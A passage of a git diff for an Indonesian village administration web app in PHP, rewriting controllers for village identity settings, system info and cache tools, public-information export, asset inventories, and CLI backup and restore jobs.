nama($request['nama_kepala_camat']), + 'nip_kepala_camat' => nomor_surat_keputusan($request['nip_kepala_camat']), + 'nama_kabupaten' => nama($request['nama_kabupaten']), + 'kode_kabupaten' => bilangan($request['kode_kabupaten']), + 'nama_propinsi' => nama_terbatas($request['nama_propinsi']), + 'kode_propinsi' => bilangan($request['kode_propinsi']), + ]; + + if (Schema::hasColumn('config', 'nomor_operator')) { + $config['nomor_operator'] = bilangan($request['nomor_operator']); + } + + if (Schema::hasColumn('config', 'nama_kepala_desa')) { + $config['nama_kepala_desa'] = ''; + } + + if (Schema::hasColumn('config', 'nip_kepala_desa')) { + $config['nip_kepala_desa'] = ''; + } + + if (Schema::hasColumn('config', 'g_analitic')) { + $config['g_analitic'] = ''; + } + + if (Schema::hasColumn('config', 'pamong_id')) { + $config['pamong_id'] = 0; + } + + return $config; + } + + // TODO : Ganti cara ini + protected static function unggah($jenis = '', $resize = false, $ukuran = false) + { + $CI = &get_instance(); + $CI->load->library('MY_Upload', null, 'upload'); + $config = [ + 'upload_path' => LOKASI_LOGO_DESA, + 'allowed_types' => 'gif|jpg|jpeg|png', + 'max_size' => max_upload() * 1024, + ]; + // Adakah berkas yang disertakan? + if (empty($_FILES[$jenis]['name'])) { + return null; + } + // Tes tidak berisi script PHP + if (isPHP($_FILES[$jenis]['tmp_name'], $_FILES[$jenis]['name'])) { + redirect_with('error', 'Jenis file ini tidak diperbolehkan'); + } + + $uploadData = null; + // Inisialisasi library 'upload' + $CI->upload->initialize($config); + // Upload sukses + if ($CI->upload->do_upload($jenis)) { + $uploadData = $CI->upload->data(); + // Buat nama file unik agar url file susah ditebak dari browser + $namaFileUnik = tambahSuffixUniqueKeNamaFile($uploadData['file_name']); + // Ganti nama file asli dengan nama unik untuk mencegah akses langsung dari browser + $fileRenamed = rename( + $CI->uploadConfig['upload_path'] . $uploadData['file_name'], + $CI->uploadConfig['upload_path'] . $namaFileUnik + ); + // Ganti nama di array upload jika file berhasil di-rename -- + // jika rename gagal, fallback ke nama asli + $uploadData['file_name'] = $fileRenamed ? $namaFileUnik : $uploadData['file_name']; + } else { + redirect_with('error', $CI->upload->display_errors(null, null)); + } + + if (! empty($uploadData)) { + if ($resize) { + $tipe_file = TipeFile($_FILES['logo']); + $dimensi = ['width' => $ukuran, 'height' => $ukuran]; + resizeImage(LOKASI_LOGO_DESA . $uploadData['file_name'], $tipe_file, $dimensi); + resizeImage(LOKASI_LOGO_DESA . $uploadData['file_name'], $tipe_file, ['width' => 16, 'height' => 16], LOKASI_LOGO_DESA . 'favicon.ico'); + } + + return $uploadData['file_name']; + } + + return null; + } + + private function cek_kode_wilayah(array $request = []) + { + $status = false; + $config = new Config(); + + switch (true) { + case $config->count() <= 1: + $status = true; + break; + + case $request['kode_propinsi'] != $config->first()->kode_propinsi: + $message = 'Kode Provinsi Tidak Sesuai, Pastikan Kode Provinsi Sesuai Dengan Lingkup Wilayah Penggunaan.'; + break; + + case $request['kode_kabupaten'] != $config->first()->kode_kabupaten: + $message = 'Kode Kabupaten Tidak Sesuai, Pastikan Kode Kabupaten Sesuai Dengan Lingkup Wilayah Penggunaan.'; + break; + + // TODO: Saat ini penggunaan validassi hanya sampai tingkat kabupaten + // case $request['kode_kecamatan'] != $config->first()->kode_kecamatan: + // $message = 'Kode Kecamatan Tidak Sesuai, Pastikan Kode Kecamatan Sesuai Dengan Lingkup Wilayah Penggunaan.'; + // break; + + case in_array($request['kode_desa'], $config->where('kode_desa', '!=', $this->identitas_desa['kode_desa'])->pluck('kode_desa')->toArray()): + $message = 'Kode Desa Sudah Digunakan'; + break; + + default: + $status = true; + break; + } + + return ['status' => $status, 'message' => $message]; + } + + public function reset() + { + $this->redirect_hak_akses('u'); + + if (null === $this->identitas_desa) { + unlink(DESAPATH . 'app_key'); + hapus_cache('identitas_desa'); + + set_session('error', 'Berhasil Reset AppKey, Silahkan Tentukan Identitas Desa'); + } + + redirect('identitas_desa'); + } +} diff --git a/donjo-app/controllers/Info_sistem.php b/donjo-app/controllers/Info_sistem.php index 27499633f..28289f9d1 100644 --- a/donjo-app/controllers/Info_sistem.php +++ b/donjo-app/controllers/Info_sistem.php @@ -1,505 +1,156 @@ -modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'info-sistem'; + $this->load->helper('directory'); + } + + public function index() + { + // Logs viewer + $this->load->library('Log_Viewer'); + + $data = $this->log_viewer->showLogs(); + $data['ekstensi'] = $this->setting_model->cekEkstensi(); + $data['kebutuhan_sistem'] = $this->setting_model->cekKebutuhanSistem(); + $data['php'] = $this->setting_model->cekPhp(); + $data['mysql'] = $this->setting_model->cekDatabase(); + $data['disable_functions'] = $this->setting_model->disableFunctions(); + $data['check_permission'] = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? 0 : 1; + + // $data['free_space'] = $this->convertDisk(disk_free_space('/')); + // $data['total_space'] = $this->convertDisk(disk_total_space('/')); + $data['disk'] = false; + + $this->render('setting/info_sistem/index', $data); + } + + public function remove_log() + { + $this->redirect_hak_akses('h'); + + $path = config_item('log_path'); + $file = base64_decode($this->input->get('f'), true); + + if ($this->input->post()) { + $files = $this->input->post('id_cb'); + + foreach ($files as $file) { + $file = $path . basename($file); + unlink($file); + } + } + + redirect($this->controller); + } + + private function convertDisk($disk) + { + $si_prefix = ['B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB']; + $base = 1024; + $class = min((int) log($disk, $base), count($si_prefix) - 1); + + return sprintf('%1.2f', $disk / $base ** $class) . ' ' . $si_prefix[$class] . '
'; + } + + public function cache_desa() + { + $this->redirect_hak_akses('u'); + + $dir = config_item('cache_path'); + + foreach (directory_map($dir) as $file) { + if ($file !== 'index.html') { + unlink($dir . DIRECTORY_SEPARATOR . $file); + } + } + + status_sukses(true); + + redirect($this->controller); + } + + public function cache_blade() + { + $this->redirect_hak_akses('u'); + + $dir = config_item('cache_blade'); + + foreach (directory_map($dir) as $file) { + if ($file !== 'index.html') { + unlink($dir . DIRECTORY_SEPARATOR . $file); + } + } + + status_sukses(true); + + redirect($this->controller); + } + + public function set_permission_desa() + { + $this->redirect_hak_akses('u'); + + $dirs = $_POST['folders']; + $error = []; + $result = ['status' => 1, $message = 'Berhasil ubah permission folder desa']; + + foreach ($dirs as $dir) { + if (! chmod($dir, DESAPATHPERMISSION)) { + $error[] = 'Gagal mengubah hak akses folder ' . $dir; + } + } + + if (! empty($error)) { + $result['status'] = 0; + $result['message'] = implode('
', $error); + } + + status_sukses(true); + $this->output + ->set_content_type('application/json') + ->set_output(json_encode($result)); + } +} diff --git a/donjo-app/controllers/Informasi_publik.php b/donjo-app/controllers/Informasi_publik.php index f76cb3e3c..f50a11fac 100644 --- a/donjo-app/controllers/Informasi_publik.php +++ b/donjo-app/controllers/Informasi_publik.php @@ -1,545 +1,108 @@ -load->model('web_dokumen_model'); + $this->load->model('log_ekspor_model'); + } + + public function ekspor() + { + $data['form_action'] = site_url('informasi_publik/ekspor_csv'); + $data['log_semua'] = $this->log_ekspor_model->log_terakhir('informasi_publik', 1); + $data['log_perubahan'] = $this->log_ekspor_model->log_terakhir('informasi_publik', 2); + $this->load->view('dokumen/dialog_ekspor', $data); + } + + public function ekspor_csv() + { + $filename = 'informasi_publik_' . date('Ymd') . '.csv'; + // Gunakan file temporer + $tmpfname = tempnam(sys_get_temp_dir(), ''); + // Siapkan daftar berkas untuk dimasukkan ke zip + $berkas = []; + $berkas[] = [ + 'nama' => $filename, + 'file' => $tmpfname, + ]; + // Folder untuk berkas dokumen dalam zip + $berkas[] = [ + 'nama' => 'dir', + 'file' => 'berkas', + ]; + + // Ambil data dan berkas infoemasi publik + $file = fopen($tmpfname, 'wb'); + $data = $this->web_dokumen_model->ekspor_informasi_publik($this->input->post('data_ekspor'), $this->input->post('tgl_dari')); + + $header = array_keys($data[0]); + fputcsv($file, $header); + + foreach ($data as $baris) { + fputcsv($file, array_values($baris)); + // Masukkan berkas ke dalam folder dalam zip + $berkas[] = [ + 'nama' => 'berkas/' . $baris['satuan'], + 'file' => FCPATH . LOKASI_DOKUMEN . $baris['satuan'], + ]; + } + fclose($file); + + // Tulis log ekspor + $log = [ + 'kode_ekspor' => 'informasi_publik', + 'semua' => $this->input->post('data_ekspor'), + 'total' => count($data), + ]; + $this->log_ekspor_model->tulis_log($log); + + // Masukkan semua berkas ke dalam zip + $berkas_zip = masukkan_zip($berkas); + // Unduh berkas zip + $data = $this->header['desa']; + header('Content-Description: File Transfer'); + header('Content-disposition: attachment; filename=informasi_publik_' . $data['kode_desa'] . '_' . date('d-m-Y') . '.zip'); + header('Content-type: application/zip'); + readfile($berkas_zip); + } +} diff --git a/donjo-app/controllers/Inventaris_asset.php b/donjo-app/controllers/Inventaris_asset.php index 59b9541c2..0d8863526 100644 --- a/donjo-app/controllers/Inventaris_asset.php +++ b/donjo-app/controllers/Inventaris_asset.php @@ -1,545 +1,147 @@ -load->model(['inventaris_asset_model', 'pamong_model', 'aset_model']); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 61; + } + + public function index() + { + $data['main'] = $this->inventaris_asset_model->list_inventaris(); + $data['total'] = $this->inventaris_asset_model->sum_inventaris(); + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['tip'] = 1; + + $this->render('inventaris/asset/table', $data); + } + + public function view($id) + { + $data['main'] = $this->inventaris_asset_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/asset/view_inventaris', $data); + } + + public function view_mutasi($id) + { + $data['main'] = $this->inventaris_asset_model->view_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/asset/view_mutasi', $data); + } + + public function edit($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_asset_model->view($id); + $data['get_kode'] = $this->header['desa']; + $data['aset'] = $this->aset_model->list_aset(6); + $data['count_reg'] = $this->inventaris_asset_model->count_reg(); + $data['kd_reg'] = $this->inventaris_asset_model->list_inventaris_kd_register(); + $data['tip'] = 1; + + $this->render('inventaris/asset/edit_inventaris', $data); + } + + public function edit_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_asset_model->edit_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/asset/edit_mutasi', $data); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $data['tip'] = 1; + $data['get_kode'] = $this->header['desa']; + $data['aset'] = $this->aset_model->list_aset(6); + $data['count_reg'] = $this->inventaris_asset_model->count_reg(); + + $this->render('inventaris/asset/form_tambah', $data); + } + + public function form_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_asset_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/asset/form_mutasi', $data); + } + + public function mutasi() + { + $data['main'] = $this->inventaris_asset_model->list_mutasi_inventaris(); + $data['tip'] = 2; + + $this->render('inventaris/asset/table_mutasi', $data); + } + + public function cetak($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_asset_model->sum_print($tahun); + $data['print'] = $this->inventaris_asset_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/asset/inventaris_print', $data); + } + + public function download($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_asset_model->sum_print($tahun); + $data['print'] = $this->inventaris_asset_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/asset/inventaris_excel', $data); + } +} diff --git a/donjo-app/controllers/Inventaris_gedung.php b/donjo-app/controllers/Inventaris_gedung.php index 25e834e4d..56531b5d2 100644 --- a/donjo-app/controllers/Inventaris_gedung.php +++ b/donjo-app/controllers/Inventaris_gedung.php @@ -1,553 +1,147 @@ -load->model(['inventaris_gedung_model', 'pamong_model', 'aset_model']); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 61; + } + + public function index() + { + $data['main'] = $this->inventaris_gedung_model->list_inventaris(); + $data['total'] = $this->inventaris_gedung_model->sum_inventaris(); + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['tip'] = 1; + + $this->render('inventaris/gedung/table', $data); + } + + public function view($id) + { + $data['main'] = $this->inventaris_gedung_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/gedung/view_inventaris', $data); + } + + public function view_mutasi($id) + { + $data['main'] = $this->inventaris_gedung_model->view_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/gedung/view_mutasi', $data); + } + + public function edit($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_gedung_model->view($id); + $data['aset'] = $this->aset_model->list_aset(4); + $data['count_reg'] = $this->inventaris_gedung_model->count_reg(); + $data['get_kode'] = $this->header['desa']; + $data['kd_reg'] = $this->inventaris_gedung_model->list_inventaris_kd_register(); + $data['tip'] = 1; + + $this->render('inventaris/gedung/edit_inventaris', $data); + } + + public function edit_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_gedung_model->edit_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/gedung/edit_mutasi', $data); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $data['tip'] = 1; + $data['get_kode'] = $this->header['desa']; + $data['aset'] = $this->aset_model->list_aset(4); + $data['count_reg'] = $this->inventaris_gedung_model->count_reg(); + + $this->render('inventaris/gedung/form_tambah', $data); + } + + public function form_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_gedung_model->view($id); + $data['tip'] = 2; + + $this->render('inventaris/gedung/form_mutasi', $data); + } + + public function mutasi() + { + $data['main'] = $this->inventaris_gedung_model->list_mutasi_inventaris(); + $data['tip'] = 2; + + $this->render('inventaris/gedung/table_mutasi', $data); + } + + public function cetak($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_gedung_model->sum_print($tahun); + $data['print'] = $this->inventaris_gedung_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/gedung/inventaris_print', $data); + } + + public function download($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_gedung_model->sum_print($tahun); + $data['print'] = $this->inventaris_gedung_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/gedung/inventaris_excel', $data); + } +} diff --git a/donjo-app/controllers/Inventaris_jalan.php b/donjo-app/controllers/Inventaris_jalan.php index 01be51d34..54f2632d2 100644 --- a/donjo-app/controllers/Inventaris_jalan.php +++ b/donjo-app/controllers/Inventaris_jalan.php @@ -1,545 +1,147 @@ -load->model(['inventaris_jalan_model', 'pamong_model', 'aset_model']); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 61; + } + + public function index() + { + $data['main'] = $this->inventaris_jalan_model->list_inventaris(); + $data['total'] = $this->inventaris_jalan_model->sum_inventaris(); + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['tip'] = 1; + + $this->render('inventaris/jalan/table', $data); + } + + public function view($id) + { + $data['main'] = $this->inventaris_jalan_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/jalan/view_inventaris', $data); + } + + public function view_mutasi($id) + { + $data['main'] = $this->inventaris_jalan_model->view_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/jalan/view_mutasi', $data); + } + + public function edit($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_jalan_model->view($id); + $data['aset'] = $this->aset_model->list_aset(5); + $data['count_reg'] = $this->inventaris_jalan_model->count_reg(); + $data['get_kode'] = $this->header['desa']; + $data['kd_reg'] = $this->inventaris_jalan_model->list_inventaris_kd_register(); + $data['tip'] = 1; + + $this->render('inventaris/jalan/edit_inventaris', $data); + } + + public function edit_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_jalan_model->edit_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/jalan/edit_mutasi', $data); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $data['tip'] = 1; + $data['get_kode'] = $this->header['desa']; + $data['aset'] = $this->aset_model->list_aset(5); + $data['count_reg'] = $this->inventaris_jalan_model->count_reg(); + + $this->render('inventaris/jalan/form_tambah', $data); + } + + public function form_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_jalan_model->view($id); + $data['tip'] = 2; + + $this->render('inventaris/jalan/form_mutasi', $data); + } + + public function mutasi() + { + $data['main'] = $this->inventaris_jalan_model->list_mutasi_inventaris(); + $data['tip'] = 2; + + $this->render('inventaris/jalan/table_mutasi', $data); + } + + public function cetak($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_jalan_model->sum_print($tahun); + $data['print'] = $this->inventaris_jalan_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/jalan/inventaris_print', $data); + } + + public function download($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_jalan_model->sum_print($tahun); + $data['print'] = $this->inventaris_jalan_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/jalan/inventaris_excel', $data); + } +} diff --git a/donjo-app/controllers/Inventaris_kontruksi.php b/donjo-app/controllers/Inventaris_kontruksi.php index 4ecd5c144..6daedfcb6 100644 --- a/donjo-app/controllers/Inventaris_kontruksi.php +++ b/donjo-app/controllers/Inventaris_kontruksi.php @@ -1,577 +1,106 @@ -load->model(['inventaris_kontruksi_model', 'pamong_model', 'aset_model']); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 61; + } + + public function index() + { + $data['main'] = $this->inventaris_kontruksi_model->list_inventaris(); + $data['total'] = $this->inventaris_kontruksi_model->sum_inventaris(); + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['tip'] = 1; + + $this->render('inventaris/kontruksi/table', $data); + } + + public function view($id) + { + $data['main'] = $this->inventaris_kontruksi_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/kontruksi/view_inventaris', $data); + } + + public function edit($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_kontruksi_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/kontruksi/edit_inventaris', $data); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $data['tip'] = 1; + + $this->render('inventaris/kontruksi/form_tambah', $data); + } + + public function cetak($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_kontruksi_model->sum_print($tahun); + $data['print'] = $this->inventaris_kontruksi_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/kontruksi/inventaris_print', $data); + } + + public function download($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_kontruksi_model->sum_print($tahun); + $data['print'] = $this->inventaris_kontruksi_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/kontruksi/inventaris_excel', $data); + } +} diff --git a/donjo-app/controllers/Inventaris_peralatan.php b/donjo-app/controllers/Inventaris_peralatan.php index bf429b1f8..3fbf36128 100644 --- a/donjo-app/controllers/Inventaris_peralatan.php +++ b/donjo-app/controllers/Inventaris_peralatan.php @@ -1,577 +1,147 @@ -load->model(['inventaris_peralatan_model', 'pamong_model', 'aset_model']); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 61; + } + + public function index() + { + $data['main'] = $this->inventaris_peralatan_model->list_inventaris(); + $data['total'] = $this->inventaris_peralatan_model->sum_inventaris(); + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['tip'] = 1; + + $this->render('inventaris/peralatan/table', $data); + } + + public function view($id) + { + $data['main'] = $this->inventaris_peralatan_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/peralatan/view_inventaris', $data); + } + + public function view_mutasi($id) + { + $data['main'] = $this->inventaris_peralatan_model->view_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/peralatan/view_mutasi', $data); + } + + public function edit($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_peralatan_model->view($id); + $data['get_kode'] = $this->header['desa']; + $data['aset'] = $this->aset_model->list_aset(3); + $data['count_reg'] = $this->inventaris_peralatan_model->count_reg(); + $data['kd_reg'] = $this->inventaris_peralatan_model->list_inventaris_kd_register(); + $data['tip'] = 1; + + $this->render('inventaris/peralatan/edit_inventaris', $data); + } + + public function edit_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_peralatan_model->edit_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/peralatan/edit_mutasi', $data); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $data['tip'] = 1; + $data['get_kode'] = $this->header['desa']; + $data['aset'] = $this->aset_model->list_aset(3); + $data['count_reg'] = $this->inventaris_peralatan_model->count_reg(); + + $this->render('inventaris/peralatan/form_tambah', $data); + } + + public function form_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_peralatan_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/peralatan/form_mutasi', $data); + } + + public function mutasi() + { + $data['main'] = $this->inventaris_peralatan_model->list_mutasi_inventaris(); + $data['tip'] = 2; + + $this->render('inventaris/peralatan/table_mutasi', $data); + } + + public function cetak($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_peralatan_model->sum_print($tahun); + $data['print'] = $this->inventaris_peralatan_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/peralatan/inventaris_print', $data); + } + + public function download($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_peralatan_model->sum_print($tahun); + $data['print'] = $this->inventaris_peralatan_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/peralatan/inventaris_excel', $data); + } +} diff --git a/donjo-app/controllers/Inventaris_tanah.php b/donjo-app/controllers/Inventaris_tanah.php index 299354df5..706ad448a 100644 --- a/donjo-app/controllers/Inventaris_tanah.php +++ b/donjo-app/controllers/Inventaris_tanah.php @@ -1,545 +1,147 @@ -load->model(['inventaris_tanah_model', 'pamong_model', 'aset_model']); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 'inventaris'; + } + + public function index() + { + $data['main'] = $this->inventaris_tanah_model->list_inventaris(); + $data['total'] = $this->inventaris_tanah_model->sum_inventaris(); + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['tip'] = 1; + + $this->render('inventaris/tanah/table', $data); + } + + public function view($id) + { + $data['main'] = $this->inventaris_tanah_model->view($id); + $data['tip'] = 1; + + $this->render('inventaris/tanah/view_inventaris', $data); + } + + public function view_mutasi($id) + { + $data['main'] = $this->inventaris_tanah_model->view_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/tanah/view_mutasi', $data); + } + + public function edit($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_tanah_model->view($id); + $data['aset'] = $this->aset_model->list_aset(2); + $data['count_reg'] = $this->inventaris_tanah_model->count_reg(); + $data['get_kode'] = $this->header['desa']; + $data['kd_reg'] = $this->inventaris_tanah_model->list_inventaris_kd_register(); + $data['tip'] = 1; + + $this->render('inventaris/tanah/edit_inventaris', $data); + } + + public function edit_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_tanah_model->edit_mutasi($id); + $data['tip'] = 2; + + $this->render('inventaris/tanah/edit_mutasi', $data); + } + + public function form() + { + $this->redirect_hak_akses('u'); + $data['tip'] = 1; + $data['get_kode'] = $this->header['desa']; + $data['aset'] = $this->aset_model->list_aset(2); + $data['count_reg'] = $this->inventaris_tanah_model->count_reg(); + + $this->render('inventaris/tanah/form_tambah', $data); + } + + public function form_mutasi($id) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->inventaris_tanah_model->view($id); + $data['tip'] = 2; + + $this->render('inventaris/tanah/form_mutasi', $data); + } + + public function mutasi() + { + $data['main'] = $this->inventaris_tanah_model->list_mutasi_inventaris(); + $data['tip'] = 2; + + $this->render('inventaris/tanah/table_mutasi', $data); + } + + public function cetak($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_tanah_model->sum_print($tahun); + $data['print'] = $this->inventaris_tanah_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/tanah/inventaris_print', $data); + } + + public function download($tahun, $penandatangan) + { + $data['header'] = $this->header['desa']; + $data['total'] = $this->inventaris_tanah_model->sum_print($tahun); + $data['print'] = $this->inventaris_tanah_model->cetak($tahun); + $data['pamong'] = $this->pamong_model->get_data($penandatangan); + + $this->load->view('inventaris/tanah/inventaris_excel', $data); + } +} diff --git a/donjo-app/controllers/Job.php b/donjo-app/controllers/Job.php index d8a1ae250..b2efa9d43 100644 --- a/donjo-app/controllers/Job.php +++ b/donjo-app/controllers/Job.php @@ -1,441 +1,173 @@ -load->helper(['number', 'file']); + $this->load->model(['ekspor_model', 'database_model']); + } + + public function restore($database = null) + { + /** + * Job hanya bisa digunakan jika : + * 1. Diakses lewat CLI dan Config demo true + * 2. Diakses lewat CLI dan ENV development + * + * Selain itu akan menampilkan halaman tidak ditemukan. + */ + if (! is_cli() || (! config_item('demo_mode') && ENVIRONMENT === 'production')) { + show_404(); + } + + delete_files(config_item('log_path'), true); + log_message('notice', '>_ Mulai'); + + // Kecuali folder + $exclude = [ + 'desa/config', + 'desa/themes', + ]; + + // Kosongkan folder desa + foreach (glob('desa/*', GLOB_ONLYDIR) as $folder) { + if (! in_array($folder, $exclude)) { + delete_files(FCPATH . $folder, true); + } + } + + // Buat folder desa + folder_desa(); + + // Proses Restore Database + if ($this->ekspor_model->proses_restore($this->cekDB($database ?? 'contoh_data_awal'))) { + $this->database_model->migrasi_db_cri(); + } else { + log_message('error', 'Proses Restore Database Gagal'); + } + + log_message('notice', '>_ Selesai'); + } + + private function cekDB($filename) + { + $filename = DESAPATH . "/config/{$filename}.sql"; + + if (file_exists($filename)) { + return $filename; + } + + log_message('error', 'File ' . $filename . ' tidak ditemukan'); + + return false; + } + + public function backup_inkremental($lokasi) + { + if (! is_cli()) { + return; + } + /* + variable status + 0 = sedang dalam prosess + 1 = selesai diproses + 2 = selesai di download + 3 = dibatalkan + */ + + $lokasi = ($lokasi == 'null') ? null : 'backup_inkremental'; + $last_backup = LogBackup::latest()->first()->created_at; + $last_backup = ($last_backup != null) ? $last_backup->format('Y-m-d') : '1990-01-01'; + $backup = LogBackup::create(['permanen' => ($lokasi) ? 1 : 0, 'pid_process' => getmypid()]); // tandai backup sedang berlangsung + + try { + $za = new FlxZipArchive(); + + $path = $za->read_dir(DESAPATH, $last_backup, $lokasi); + $file_backup = get_file_info($path); + $backup->update(['status' => 1, 'ukuran' => byte_format($file_backup['size']), 'path' => $path]); // update backup sudah selesai + } catch (Exception $e) { + $backup->update(['status' => -1]); // update backup gagal + printf($e); + } + } + + public function restore_desa($id) + { + if (! is_cli()) { + return; + } + + /* + variable status + 0 = sedang dalam prosess + 1 = selesai diproses + 2 = selesai di download + 3 = dibatalkan + -1 = gagal restore + */ + + $restore = LogRestoreDesa::where('id', '=', $id)->first(); + $restore->update(['pid_process' => getmypid()]); + + try { + $zip = new ZipArchive(); + $res = $zip->open($restore->path); + if ($res === true) { + // Unzip path + $extractpath = DESAPATH . '..'; + + // Extract file + $zip->extractTo($extractpath); + $zip->close(); + $restore->update(['status' => 1]); + } + } catch (Exception $e) { + $restore->update(['status' => -1]); // update backup gagal + printf($e); + } + } +} diff --git a/donjo-app/controllers/Kategori.php b/donjo-app/controllers/Kategori.php index 0700d61e8..07b8b040d 100644 --- a/donjo-app/controllers/Kategori.php +++ b/donjo-app/controllers/Kategori.php @@ -1,481 +1,246 @@ -load->model('web_kategori_model'); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'menu'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter']); + + $_SESSION['per_page'] = 20; + redirect('kategori'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['tip'] = 2; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->web_kategori_model->paging($p, $o); + $data['main'] = $this->web_kategori_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->web_kategori_model->autocomplete(); + + $this->render('kategori/table', $data); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $data['tip'] = 2; + if ($id) { + $data['kategori'] = $this->web_kategori_model->get_kategori($id) ?? show_404(); + $data['form_action'] = site_url("kategori/update/{$id}"); + } else { + $data['kategori'] = null; + $data['form_action'] = site_url('kategori/insert'); + } + + $this->render('kategori/form', $data); + } + + public function sub_kategori($kategori = 1) + { + $sub_kategori = $data['tip'] = 2; + $data['subkategori'] = $this->web_kategori_model->list_sub_kategori($kategori) ?? show_404(); + $data['kategori'] = $kategori; + + $this->render('kategori/sub_kategori_table', $data); + } + + public function ajax_add_sub_kategori($kategori = '', $id = '') + { + $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']); + $data['kategori'] = $kategori; + $data['link'] = $this->web_kategori_model->list_link(); + + if ($id) 